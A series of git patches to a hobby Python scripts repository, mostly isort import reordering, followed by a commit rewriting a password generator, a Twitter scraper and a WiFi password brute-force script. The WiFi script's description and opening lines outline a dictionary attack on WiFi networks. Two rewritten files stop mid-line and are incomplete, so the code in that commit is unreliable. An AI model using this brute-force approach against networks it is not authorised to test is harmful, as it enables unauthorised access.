-from gtts import gTTS import os +from gtts import gTTS + # Enter the name of your text file mytextfile = "hello.txt" diff --git a/text_to_audio/main.py b/text_to_audio/main.py index fea9aef846c..c76f845654b 100644 --- a/text_to_audio/main.py +++ b/text_to_audio/main.py @@ -1,7 +1,8 @@ # A exclusive CLI version can be made using inquirer library. -from gtts import gTTS from io import BytesIO +from gtts import gTTS + # only use when needed to avoid memory usage in program """_summary_ diff --git a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py index 2c22d6676df..2089dfea2b5 100644 --- a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py +++ b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py @@ -1,5 +1,4 @@ import cv2 - from utils import image_resize cap = cv2.VideoCapture(0) diff --git a/tweeter.py b/tweeter.py index 1ae534f448e..441d7a9c267 100644 --- a/tweeter.py +++ b/tweeter.py @@ -1,5 +1,7 @@ from __future__ import print_function + import os + import tweepy # TODO: Further improvements can be made to the program diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py index 5e80e0f2fa3..fdf4f6e08df 100644 --- a/twitter_post_scraper.py +++ b/twitter_post_scraper.py @@ -1,6 +1,7 @@ +import re + import requests from bs4 import BeautifulSoup -import re re_text = r"\:|\.|\!|(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b|(.twitter.com\/)\w*|\&" re_text_1 = r"(pictwittercom)\/\w*" diff --git a/ultimate-phone-book/contacts.py b/ultimate-phone-book/contacts.py index c1d70e9bcac..800756373c5 100644 --- a/ultimate-phone-book/contacts.py +++ b/ultimate-phone-book/contacts.py @@ -6,10 +6,10 @@ print("this code uses GPL V3 LICENSE") print("") +import os # start of code # import library import pickle -import os # get array from pickle data infile = open("data/pickle-main", "rb") diff --git a/voice.py b/voice.py index 6fa77405c96..94e27b6a060 100644 --- a/voice.py +++ b/voice.py @@ -1,8 +1,9 @@ # modules for use of voice -from gtts import gTTS -from colorama import Fore import os +from colorama import Fore +from gtts import gTTS + # Define the text you want to convert to speech text = "Hello! This is a sample text to convert to speech." diff --git a/whatsapp-monitor.py b/whatsapp-monitor.py index bf170b80f01..a6a5432e827 100644 --- a/whatsapp-monitor.py +++ b/whatsapp-monitor.py @@ -11,9 +11,10 @@ """ -from selenium import webdriver import time +from selenium import webdriver + driver = webdriver.Firefox() driver.get("http://web.whatsapp.com") name = input("Please Enter Name for search online status: ") diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py index bf346e1a7c7..59e971cd775 100644 --- a/wifi hack by brutefore.py +++ b/wifi hack by brutefore.py @@ -38,12 +38,11 @@ # 2. brute force password when using longer -import pywifi +import time +import pywifi from pywifi import const # quote some definitions -import time - """ Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own! """ diff --git a/wiki/wiki.py b/wiki/wiki.py index d4c3314b95a..69e1528da98 100644 --- a/wiki/wiki.py +++ b/wiki/wiki.py @@ -1,20 +1,11 @@ # In this program you ask it about any topic and it will show you the data from wikipedia # pip install wikipedia -import wikipedia import tkinter as tk -from tkinter import ( - Label, - Button, - Entry, - Text, - messagebox, - SOLID, - GROOVE, - StringVar, - WORD, - END, -) +from tkinter import (END, GROOVE, SOLID, WORD, Button, Entry, Label, StringVar, + Text, messagebox) + +import wikipedia # import PIL as ImageTK diff --git a/wiki_random.py b/wiki_random.py index 24fbacb206d..606e30dabc1 100644 --- a/wiki_random.py +++ b/wiki_random.py @@ -15,9 +15,10 @@ enter index of article you would like to see, or 'r' for retry and 'n' for exit. """ -import requests import webbrowser +import requests + page_count = 10 url = ( "https://en.wikipedia.org/w/api.php?action=query&list=random&rnnamespace=0&rnlimit=" diff --git a/wikipedia.py b/wikipedia.py index dd7a5f05321..3c2c37f31ac 100644 --- a/wikipedia.py +++ b/wikipedia.py @@ -1,7 +1,8 @@ -import wikipedia from tkinter import * from tkinter.messagebox import showinfo +import wikipedia + win = Tk() # objek win.title("WIKIPEDIA") win.geometry("200x70") # function diff --git a/write_excel_file.py b/write_excel_file.py index b4a65726e0e..cd5dcb817bd 100644 --- a/write_excel_file.py +++ b/write_excel_file.py @@ -1,5 +1,5 @@ -import xlwt # type: ignore import openpyxl # type: ignore +import xlwt # type: ignore # Workbook is created xlwt_wb = xlwt.Workbook() diff --git a/youtubedownloader.py b/youtubedownloader.py index 19c2551baa9..55803db970d 100644 --- a/youtubedownloader.py +++ b/youtubedownloader.py @@ -1,6 +1,8 @@ # modules for Using of app -from tkinter import Button, Entry, Label, Tk, filedialog, messagebox # Gui Modules from threading import Thread # modules for multi threding +from tkinter import (Button, Entry, Label, Tk, filedialog, # Gui Modules + messagebox) + from pytube import YouTube # Module for Youtube service From c1c384ce85b7f4aed009d98fa3dfb404acd2121e Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 21:58:04 +0800 Subject: [PATCH 06/13] Isort fix --- BlackJack_game/blackjack.py | 1 - Colors/pixel_sort.py | 1 + Cricket_score.py | 1 + JARVIS/JARVIS_2.0.py | 3 +++ JARVIS/ai.py | 3 +-- ML/examples/neural_architecture_search.py | 3 +-- ML/examples/train_custom.py | 3 +-- ML/src/python/neuralforge/cli/gui.py | 16 ++++++++++++--- ML/src/python/neuralforge/cli/train.py | 3 +-- ML/tests/gui_test.py | 20 ++++++++++++++----- ML/tests/test_model.py | 7 +++++-- ML/train.py | 3 +-- ReadFromCSV.py | 3 +-- Test-Case-Generator/test_case.py | 15 ++++++++++++-- UI-Apps/clock.py | 1 + binod.py | 1 + calculator.py | 1 - digital_clock.py | 2 ++ get_youtube_view.py | 1 + invisible_clock.py | 1 - mobilePhoneSpecsScrapper.py | 1 + news_articles__scraper.py | 1 + .../to_sort/JARVIS_python_bot/JARVIS_2.0.py | 2 ++ .../django_projects/ToDo_webapp/todo/views.py | 1 - recyclebin.py | 2 -- ultimate-phone-book/contacts.py | 1 + wiki/wiki.py | 14 +++++++++++-- youtubedownloader.py | 10 ++++++++-- 28 files changed, 87 insertions(+), 34 deletions(-) diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py index 241d625c365..dbcc91e6f05 100644 --- a/BlackJack_game/blackjack.py +++ b/BlackJack_game/blackjack.py @@ -9,7 +9,6 @@ # PYTHON CODE BASE - deck = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11] * 4 random.shuffle(deck) diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py index c81a7eacfa2..e556fb685dc 100644 --- a/Colors/pixel_sort.py +++ b/Colors/pixel_sort.py @@ -9,6 +9,7 @@ import cv2 import numpy as np import pandas as pd + # Importing the external file Library import sound from tqdm import tqdm diff --git a/Cricket_score.py b/Cricket_score.py index 6ce7aca591d..76b058313ca 100644 --- a/Cricket_score.py +++ b/Cricket_score.py @@ -1,6 +1,7 @@ from urllib import request import bs4 # Beautiful Soup for Web Scraping + # import os import pyttsx3 from win10toast import ToastNotifier diff --git a/JARVIS/JARVIS_2.0.py b/JARVIS/JARVIS_2.0.py index 2db28b38eaf..3014a968bca 100644 --- a/JARVIS/JARVIS_2.0.py +++ b/JARVIS/JARVIS_2.0.py @@ -11,6 +11,7 @@ # import modules import datetime # datetime module supplies classes for manipulating dates and times import json + # master # auto install for pyttsx3 and speechRecognition import os @@ -21,8 +22,10 @@ import requests from gtts import gTTS from PIL import ImageGrab + # ======= from playsound import * # for sound output + # for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) from pynput import keyboard from pynput.keyboard import Key diff --git a/JARVIS/ai.py b/JARVIS/ai.py index 9f352c1812d..266e68d2d9c 100644 --- a/JARVIS/ai.py +++ b/JARVIS/ai.py @@ -1,8 +1,7 @@ from openai import OpenAI, OpenAIError from . import state -from .config import (MAX_OUTPUT_TOKENS, OPENAI_API_KEY, OPENAI_BASE_URL, - OPENAI_MODEL) +from .config import MAX_OUTPUT_TOKENS, OPENAI_API_KEY, OPENAI_BASE_URL, OPENAI_MODEL from .memory import memory_context from .prompts import ACTION_CLASSIFIER_PROMPT, ASSISTANT_PROMPT from .text_utils import clean_assistant_output diff --git a/ML/examples/neural_architecture_search.py b/ML/examples/neural_architecture_search.py index 9f3ae2f1eee..9a1317db6c9 100644 --- a/ML/examples/neural_architecture_search.py +++ b/ML/examples/neural_architecture_search.py @@ -3,8 +3,7 @@ sys.path.insert(0, ".") from src.python.neuralforge.config import Config -from src.python.neuralforge.data.dataset import (DataLoaderBuilder, - SyntheticDataset) +from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset from src.python.neuralforge.nas.evaluator import ProxyEvaluator from src.python.neuralforge.nas.evolution import EvolutionarySearch from src.python.neuralforge.nas.search_space import SearchSpace diff --git a/ML/examples/train_custom.py b/ML/examples/train_custom.py index 64c5289f849..f0a12c4b8ca 100644 --- a/ML/examples/train_custom.py +++ b/ML/examples/train_custom.py @@ -4,8 +4,7 @@ import torch.nn as nn from src.python.neuralforge import Config, Trainer -from src.python.neuralforge.data.dataset import (DataLoaderBuilder, - SyntheticDataset) +from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.optim.optimizers import AdamW from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts diff --git a/ML/src/python/neuralforge/cli/gui.py b/ML/src/python/neuralforge/cli/gui.py index 9a14b8e7c2a..455efd104aa 100644 --- a/ML/src/python/neuralforge/cli/gui.py +++ b/ML/src/python/neuralforge/cli/gui.py @@ -25,9 +25,19 @@ def main(): from PIL import Image from PyQt6.QtCore import Qt, QThread, pyqtSignal from PyQt6.QtGui import QFont, QPixmap - from PyQt6.QtWidgets import (QFileDialog, QGroupBox, QHBoxLayout, QLabel, - QLineEdit, QMainWindow, QProgressBar, - QPushButton, QTextEdit, QVBoxLayout, QWidget) + from PyQt6.QtWidgets import ( + QFileDialog, + QGroupBox, + QHBoxLayout, + QLabel, + QLineEdit, + QMainWindow, + QProgressBar, + QPushButton, + QTextEdit, + QVBoxLayout, + QWidget, + ) from torchvision import transforms class PredictionThread(QThread): diff --git a/ML/src/python/neuralforge/cli/train.py b/ML/src/python/neuralforge/cli/train.py index 84c7d5f7ae1..0ca4100410a 100644 --- a/ML/src/python/neuralforge/cli/train.py +++ b/ML/src/python/neuralforge/cli/train.py @@ -9,8 +9,7 @@ from neuralforge.data.datasets import get_dataset, get_num_classes from neuralforge.models.resnet import ResNet18 from neuralforge.optim.optimizers import AdamW -from neuralforge.optim.schedulers import (CosineAnnealingWarmRestarts, - OneCycleLR) +from neuralforge.optim.schedulers import CosineAnnealingWarmRestarts, OneCycleLR from neuralforge.trainer import Trainer from neuralforge.utils.logger import Logger diff --git a/ML/tests/gui_test.py b/ML/tests/gui_test.py index dee5036e7a1..df9f2d50acf 100644 --- a/ML/tests/gui_test.py +++ b/ML/tests/gui_test.py @@ -8,9 +8,20 @@ from PIL import Image from PyQt6.QtCore import Qt, QThread, pyqtSignal from PyQt6.QtGui import QFont, QPixmap -from PyQt6.QtWidgets import (QApplication, QFileDialog, QGroupBox, QHBoxLayout, - QLabel, QLineEdit, QMainWindow, QProgressBar, - QPushButton, QTextEdit, QVBoxLayout, QWidget) +from PyQt6.QtWidgets import ( + QApplication, + QFileDialog, + QGroupBox, + QHBoxLayout, + QLabel, + QLineEdit, + QMainWindow, + QProgressBar, + QPushButton, + QTextEdit, + QVBoxLayout, + QWidget, +) from src.python.neuralforge.data.datasets import get_dataset, get_num_classes from src.python.neuralforge.models.resnet import ResNet18 from torchvision import transforms @@ -430,8 +441,7 @@ def load_model(self): dataset, "classes", [str(i) for i in range(num_classes)] ) except: - from src.python.neuralforge.data.datasets import \ - get_class_names + from src.python.neuralforge.data.datasets import get_class_names self.classes = get_class_names(self.dataset_name) diff --git a/ML/tests/test_model.py b/ML/tests/test_model.py index c2932e37bb3..a536a24d551 100644 --- a/ML/tests/test_model.py +++ b/ML/tests/test_model.py @@ -7,8 +7,11 @@ import torch import torch.nn.functional as F from PIL import Image -from src.python.neuralforge.data.datasets import (get_class_names, get_dataset, - get_num_classes) +from src.python.neuralforge.data.datasets import ( + get_class_names, + get_dataset, + get_num_classes, +) from src.python.neuralforge.models.resnet import ResNet18 from torchvision import transforms diff --git a/ML/train.py b/ML/train.py index c29c7bbe814..7e49bb2e161 100644 --- a/ML/train.py +++ b/ML/train.py @@ -8,8 +8,7 @@ import torch.optim as optim from src.python.neuralforge import optim as nf_optim from src.python.neuralforge.config import Config -from src.python.neuralforge.data.dataset import (DataLoaderBuilder, - SyntheticDataset) +from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset from src.python.neuralforge.data.datasets import get_dataset, get_num_classes from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.trainer import Trainer diff --git a/ReadFromCSV.py b/ReadFromCSV.py index 9765533748a..dc8177021f4 100644 --- a/ReadFromCSV.py +++ b/ReadFromCSV.py @@ -1,7 +1,6 @@ __author__ = "vamsi" import pandas as pd # pandas library to read csv file -from matplotlib import \ - pyplot as plt # matplotlib library to visualise the data +from matplotlib import pyplot as plt # matplotlib library to visualise the data from matplotlib import style style.use("ggplot") diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py index 174aac717d4..e4e6310f3b2 100644 --- a/Test-Case-Generator/test_case.py +++ b/Test-Case-Generator/test_case.py @@ -7,8 +7,19 @@ import os import webbrowser from random import choices, randint -from tkinter import (END, HORIZONTAL, LEFT, Button, Entry, IntVar, Label, - Scrollbar, StringVar, Text, Tk) +from tkinter import ( + END, + HORIZONTAL, + LEFT, + Button, + Entry, + IntVar, + Label, + Scrollbar, + StringVar, + Text, + Tk, +) mycolor = "#262626" diff --git a/UI-Apps/clock.py b/UI-Apps/clock.py index 553057c7348..544d8bdc48f 100644 --- a/UI-Apps/clock.py +++ b/UI-Apps/clock.py @@ -1,4 +1,5 @@ import tkinter + # retrieve system's time from time import strftime diff --git a/binod.py b/binod.py index af157c111df..a4e199acc7d 100644 --- a/binod.py +++ b/binod.py @@ -8,6 +8,7 @@ # ======= import os + # def checkBinod(file): #this function will check there is any 'Binod' text in file or not # with open(file, "r") as f: #we are opening file in read mode and using 'with' so need to take care of close() # ======= diff --git a/calculator.py b/calculator.py index 5ef2f4ecdd3..c10c530acd9 100644 --- a/calculator.py +++ b/calculator.py @@ -30,7 +30,6 @@ ## Imported math library to run sin(), cos(), tan() and other such functions in the calculator - def calc(term): """ input: term of type str diff --git a/digital_clock.py b/digital_clock.py index 8ba39b482c1..a5c6c352d19 100644 --- a/digital_clock.py +++ b/digital_clock.py @@ -4,9 +4,11 @@ # using python code base import time + # importing strftime function to # retrieve system's time from time import strftime + # because we need digital clock , so we are importing the time library. # master from tkinter import * diff --git a/get_youtube_view.py b/get_youtube_view.py index 445e537adce..118f0f7c37f 100644 --- a/get_youtube_view.py +++ b/get_youtube_view.py @@ -10,6 +10,7 @@ # Added pafy to get video length for the user import pafy + # Changed the method of opening the browser. # Selenium allows for the page to be refreshed. from selenium import webdriver diff --git a/invisible_clock.py b/invisible_clock.py index f49d0324afc..87f27c27249 100644 --- a/invisible_clock.py +++ b/invisible_clock.py @@ -7,7 +7,6 @@ # superinposing two images - cap = cv2.VideoCapture(0) time.sleep(2) # 2 sec time to adjust cam with time diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py index e24519fd418..4d4f86875c5 100644 --- a/mobilePhoneSpecsScrapper.py +++ b/mobilePhoneSpecsScrapper.py @@ -1,5 +1,6 @@ # import time import json + # import csv import os diff --git a/news_articles__scraper.py b/news_articles__scraper.py index 6ff848e79bf..a9266ad0a58 100644 --- a/news_articles__scraper.py +++ b/news_articles__scraper.py @@ -15,6 +15,7 @@ import pandas as pd import requests + # importing necessary libraries from bs4 import BeautifulSoup from newspaper import Article diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py index ca85f24ce19..58816fb933a 100644 --- a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py @@ -11,6 +11,7 @@ # import modules import datetime # datetime module supplies classes for manipulating dates and times import json + # master # auto install for pyttsx3 and speechRecognition import os @@ -22,6 +23,7 @@ from gtts import gTTS from PIL import ImageGrab from playsound import * # for sound output + # for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) from pynput import keyboard from pynput.keyboard import Key diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py index fdc64e725d3..b2c70539a3e 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py @@ -9,7 +9,6 @@ # Import todo form and models - def index(request): item_list = Todo.objects.order_by("-date") if request.method == "POST": diff --git a/recyclebin.py b/recyclebin.py index 2f46f6e3be5..666587ba0d6 100644 --- a/recyclebin.py +++ b/recyclebin.py @@ -14,8 +14,6 @@ # Description : Scans the recyclebin and displays the files in there, originally got this script from the Violent Python book - - def sid2user(sid): # Start of the function to gather the user try: key = OpenKey( diff --git a/ultimate-phone-book/contacts.py b/ultimate-phone-book/contacts.py index 800756373c5..fbd217feb90 100644 --- a/ultimate-phone-book/contacts.py +++ b/ultimate-phone-book/contacts.py @@ -7,6 +7,7 @@ print("") import os + # start of code # import library import pickle diff --git a/wiki/wiki.py b/wiki/wiki.py index 69e1528da98..da07f868ec9 100644 --- a/wiki/wiki.py +++ b/wiki/wiki.py @@ -2,8 +2,18 @@ # pip install wikipedia import tkinter as tk -from tkinter import (END, GROOVE, SOLID, WORD, Button, Entry, Label, StringVar, - Text, messagebox) +from tkinter import ( + END, + GROOVE, + SOLID, + WORD, + Button, + Entry, + Label, + StringVar, + Text, + messagebox, +) import wikipedia diff --git a/youtubedownloader.py b/youtubedownloader.py index 55803db970d..b3a4eb64ce0 100644 --- a/youtubedownloader.py +++ b/youtubedownloader.py @@ -1,7 +1,13 @@ # modules for Using of app from threading import Thread # modules for multi threding -from tkinter import (Button, Entry, Label, Tk, filedialog, # Gui Modules - messagebox) +from tkinter import ( + Button, + Entry, + Label, + Tk, + filedialog, # Gui Modules + messagebox, +) from pytube import YouTube # Module for Youtube service From 2b8c9c3d8a49bc38aa6a44a6bbce86b889ebbe0f Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 22:10:59 +0800 Subject: [PATCH 07/13] ll --- .../passwordGenerator.py | 264 ++++++++------ twitter_post_scraper.py | 136 ++++++-- wifi hack by brutefore.py | 323 ++++++++++++------ 3 files changed, 482 insertions(+), 241 deletions(-) diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py index a6e3e8cae7d..67259e94f89 100644 --- a/password_programs_multiple/passwordGenerator.py +++ b/password_programs_multiple/passwordGenerator.py @@ -1,109 +1,167 @@ -# PasswordGenerator GGearing 314 01/10/19 -# modified Prince Gangurde 4/4/2020 - -import random - -import pycountry - - -def generate_password(): - # Define characters and word sets - special_characters = list("!@#$%/?<>|&*-=+_") - - animals = ( - "ant", - "alligator", - "baboon", - "badger", - "barb", - "bat", - "beagle", - "bear", - "beaver", - "bird", - "bison", - "bombay", - "bongo", - "booby", - "butterfly", - "bee", - "camel", - "cat", - "caterpillar", - "catfish", - "cheetah", - "chicken", - "chipmunk", - "cow", - "crab", - "deer", - "dingo", - "dodo", - "dog", - "dolphin", - "donkey", - "duck", - "eagle", - "earwig", - "elephant", - "emu", - "falcon", - "ferret", - "fish", - "flamingo", - "fly", - "fox", - "frog", - "gecko", - "gibbon", - "giraffe", - "goat", - "goose", - "gorilla", - ) - - colours = ( - "red", - "orange", - "yellow", - "green", - "blue", - "indigo", - "violet", - "purple", - "magenta", - "cyan", - "pink", - "brown", - "white", - "grey", - "black", - ) - - # Get random values - animal = random.choice(animals) - colour = random.choice(colours) - number = random.randint(1, 999) - special = random.choice(special_characters) - case_choice = random.choice(["upper_colour", "upper_animal"]) - - # Pick a random country and language - country = random.choice(list(pycountry.countries)).name - languages = [lang.name for lang in pycountry.languages if hasattr(lang, "name")] - language = random.choice(languages) - - # Apply casing - if case_choice == "upper_colour": +#!/usr/bin/env python3 +""" +Secure Password Generator – copies password to clipboard, never prints it. + +This module generates a strong, memorable password by combining: +- Two random words (animal + colour) +- A random 3‑digit number +- A random special character + +It also picks a random country and language (via pycountry) to provide a +memoization hint – these are NOT part of the password. + +Security: +- Uses `secrets` module for cryptographically strong randomness. +- Does NOT print the password to the terminal (only a confirmation message). +- Copies the password to the system clipboard using `pyperclip`. + +Author: Modified from GGearing / Prince Gangurde +Date: 2026-07-11 +""" + +import secrets +import string +from typing import Optional + +# Optional imports with fallback +try: + import pyperclip # type: ignore +except ImportError: + pyperclip = None + +try: + import pycountry +except ImportError: + pycountry = None + + +# ---------------------------------------------------------------------- +# Word lists – extend as needed, but keep them diverse +# ---------------------------------------------------------------------- +ANIMALS = ( + "ant", "bear", "cat", "dog", "eagle", "fox", "goat", "hawk", "ibis", + "jaguar", "kangaroo", "lion", "monkey", "newt", "owl", "panda", "quail", + "rabbit", "shark", "tiger", "unicorn", "vulture", "wolf", "xerus", + "yak", "zebra" +) + +COLOURS = ( + "red", "orange", "yellow", "green", "blue", "indigo", "violet", + "purple", "magenta", "cyan", "pink", "brown", "white", "grey", "black" +) + +SPECIAL_CHARS = "!@#$%/?<>|&*-=+_" +DIGITS = string.digits + + +# ---------------------------------------------------------------------- +# Core function +# ---------------------------------------------------------------------- +def generate_secure_password( + animal_list: tuple = ANIMALS, + colour_list: tuple = COLOURS, + special_chars: str = SPECIAL_CHARS, + num_digits: int = 3 +) -> str: + """ + Generate a secure, memorable password using cryptographically strong randomness. + + The password is built as: + One of the words (colour or animal) is randomly capitalised. + + Args: + animal_list: Tuple of animal names. + colour_list: Tuple of colour names. + special_chars: String of allowed special characters. + num_digits: Number of digits to include (default 3). + + Returns: + The generated password string (not printed to console). + + Raises: + ValueError: If any word list is empty. + """ + if not animal_list or not colour_list or not special_chars: + raise ValueError("Word lists and special chars must not be empty.") + + # Select random elements using secrets (cryptographically secure) + animal = secrets.choice(animal_list) + colour = secrets.choice(colour_list) + + # Build a random digit string of given length + digit_str = ''.join(secrets.choice(DIGITS) for _ in range(num_digits)) + + special = secrets.choice(special_chars) + + # Randomly choose which word to uppercase + if secrets.choice([True, False]): colour = colour.upper() else: animal = animal.upper() - # Combine to form password - password = f"{colour}{number}{animal}{special}" - print("Generated Password:", password) - print("Based on Country:", country) - print("Language Hint:", language) + # Assemble the password + password = f"{colour}{digit_str}{animal}{special}" + return password + + +def get_random_country_and_language() -> tuple[Optional[str], Optional[str]]: + """ + Return a random country name and a random language name (for memorisation hints). + + Falls back gracefully if pycountry is not installed. + + Returns: + A tuple (country_name, language_name) – either may be None. + """ + country = None + language = None + + if pycountry is not None: + try: + # Pick a random country + countries = list(pycountry.countries) + if countries: + country = secrets.choice(countries).name + + # Pick a random language (only those with a 'name' attribute) + languages = [lang.name for lang in pycountry.languages if hasattr(lang, "name")] + if languages: + language = secrets.choice(languages) + except Exception: + # Silently ignore any pycountry errors + pass + + return country, language + + +def copy_to_clipboard(text: str) -> bool: + """ + Copy text to the system clipboard using pyperclip. + + Args: + text: The string to copy. + + Returns: + True if successful, False if pyperclip is not available or fails. + """ + if pyperclip is None: + return False + try: + pyperclip.copy(text) + return True + except Exception: + return False + + +# ---------------------------------------------------------------------- +# Main entry point +# ---------------------------------------------------------------------- +def main() -> None: + """ + Generate a password, copy it to clipboard, and show hints. + The password itself is never printed – only a confirmation message. + """ + print("🔐 Generating a secure password...") -# Run it -generate_password() + # Generate the pass \ No newline at end of file diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py index fdf4f6e08df..9e8f358f89e 100644 --- a/twitter_post_scraper.py +++ b/twitter_post_scraper.py @@ -1,40 +1,122 @@ +""" +Twitter tweet scraper and text cleaner. + +This module fetches tweets from a given Twitter handle, extracts their text, +and removes URLs, special characters, and common noise patterns. +""" + import re +import urllib.parse +from typing import List import requests from bs4 import BeautifulSoup -re_text = r"\:|\.|\!|(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b|(.twitter.com\/)\w*|\&" -re_text_1 = r"(pictwittercom)\/\w*" +# Regex for cleaning tweet text: +# - Removes common punctuation: : . ! +# - Removes URLs (http, https, or protocol-relative) using a more precise pattern +# - Removes Twitter-specific short links like pic.twitter.com/xxx +# - Removes '&' characters +# All dots are escaped to match literal dots only. +URL_PATTERN = re.compile( + r"(?:https?://)?(?:[\w\-]+\.)+[\w\-]+(?:/[\w\-./?%&=]*)?" + r"|pic\.twitter\.com/\w+" + r"|twitter\.com/\w+" + r"|&", + flags=re.IGNORECASE, +) + +# Additional noise patterns (non-breaking spaces, zero-width joiners) +NOISE_PATTERN = re.compile(r"[\xa0\u200c…]") + + +def clean_tweet_text(raw_text: str) -> str: + """ + Remove URLs, extra spaces, and special characters from a tweet. + + Args: + raw_text: The raw tweet text as extracted from HTML. + + Returns: + Cleaned text with URLs and noise removed. + """ + # Remove URLs and '&' using the compiled pattern + cleaned = URL_PATTERN.sub("", raw_text) + + # Remove non-breaking spaces, zero-width joiners, and ellipsis + cleaned = NOISE_PATTERN.sub("", cleaned) + + # Collapse multiple spaces and strip + cleaned = re.sub(r"\s+", " ", cleaned).strip() + + return cleaned + + +def fetch_tweets(handle: str) -> List[str]: + """ + Fetch tweets from a Twitter profile page and return a list of cleaned texts. + + Args: + handle: Twitter handle (without '@'). + + Returns: + List of cleaned tweet strings. + + Raises: + requests.RequestException: If the HTTP request fails. + ValueError: If the handle is empty or invalid. + """ + if not handle or not handle.isalnum(): # simple sanity check + raise ValueError("Twitter handle must be non-empty and alphanumeric.") + + base_url = "https://twitter.com/{}" + url = base_url.format(handle) + + # Send GET request with a user-agent to avoid blocking + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + } + try: + resp = requests.get(url, headers=headers, timeout=10) + resp.raise_for_status() + except requests.RequestException as e: + raise requests.RequestException(f"Failed to fetch tweets: {e}") + + soup = BeautifulSoup(resp.content, "lxml") + + # Locate tweet containers (the class may change; adjust if needed) + tweet_divs = soup.find_all("div", class_="tweet") + + tweets = [] + for tweet in tweet_divs: + content = tweet.find("div", class_="content") + if not content: + continue + text_container = content.find("div", class_="js-tweet-text-container") + if not text_container: + continue + raw = text_container.get_text(separator=" ", strip=True) + cleaned = clean_tweet_text(raw) + if cleaned: # avoid empty strings + tweets.append(cleaned) -def tweeter_scrapper(): - list_of_dirty_tweets = [] - clear_list_of_tweets = [] - base_tweeter_url = "https://twitter.com/{}" + return tweets - tweeter_id = input() - response = requests.get(base_tweeter_url.format(tweeter_id)) - soup = BeautifulSoup(response.content, "lxml") - all_tweets = soup.find_all("div", {"class": "tweet"}) +def main() -> None: + """Main entry point: ask for a Twitter handle and print cleaned tweets.""" + print("Enter Twitter handle (without @):") + handle = input().strip() - for tweet in all_tweets: - content = tweet.find("div", {"class": "content"}) - message = ( - content.find("div", {"class": "js-tweet-text-container"}) - .text.replace("\n", " ") - .strip() - ) - list_of_dirty_tweets.append(message) - for dirty_tweet in list_of_dirty_tweets: - dirty_tweet = re.sub(re_text, "", dirty_tweet, flags=re.MULTILINE) - dirty_tweet = re.sub(re_text_1, "", dirty_tweet, flags=re.MULTILINE) - dirty_tweet = dirty_tweet.replace("\xa0…", "") - dirty_tweet = dirty_tweet.replace("\xa0", "") - dirty_tweet = dirty_tweet.replace("\u200c", "") - clear_list_of_tweets.append(dirty_tweet) - print(clear_list_of_tweets) + try: + cleaned_tweets = fetch_tweets(handle) + print("\nCleaned tweets:") + for i, tweet in enumerate(cleaned_tweets, 1): + print(f"{i}. {tweet}") + except Exception as e: + print(f"Error: {e}") if __name__ == "__main__": - tweeter_scrapper() + main() \ No newline at end of file diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py index 59e971cd775..7aa77a0ea6d 100644 --- a/wifi hack by brutefore.py +++ b/wifi hack by brutefore.py @@ -1,130 +1,231 @@ +#!/usr/bin/env python3 """ -Introduction Description +WiFi Password Brute‑Forcer (Educational Use Only) -The machine operating environment: system environment Win10, the operating environment Python3.6, run the tool Pycharm +This module scans for available WiFi networks and attempts to connect using +a dictionary of passwords. It is intended for testing your own network +security or recovering a forgotten password on a trusted network. -Python packages need to have: pywifi +Security: +- NEVER prints passwords to the console. +- Successfully found passwords are written to a file (optional). +- All sensitive operations use secure file handling and minimal exposure. -This is a brute wifi mode, the time required is longer, this paper provides a break ideas - -Second, the idea of introduction - -Mr. into a password dictionary (This step can also be downloaded from the Internet dictionary) - -Cycle with each password password dictionary to try to connect Wifi, until success - -Third, source design - -1. password dictionary TXT file is generated, provided herein is relatively simple, practical crack passwords can be set according to the general, to generate relatively large relatively wide password dictionary - -The following provides a simple 8 purely digital dictionary generation program codes +Requirements: + Python 3.6+, pywifi (Windows only) """ -import itertools as its +import time +import argparse +import sys +from typing import List, Optional, Set -# Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own! +import pywifi +from pywifi import const + + +def parse_arguments() -> argparse.Namespace: + """Parse command‑line arguments.""" + parser = argparse.ArgumentParser( + description="Brute‑force WiFi passwords using a dictionary." + ) + parser.add_argument( + "--dict", + required=True, + help="Path to the password dictionary file (one password per line)." + ) + 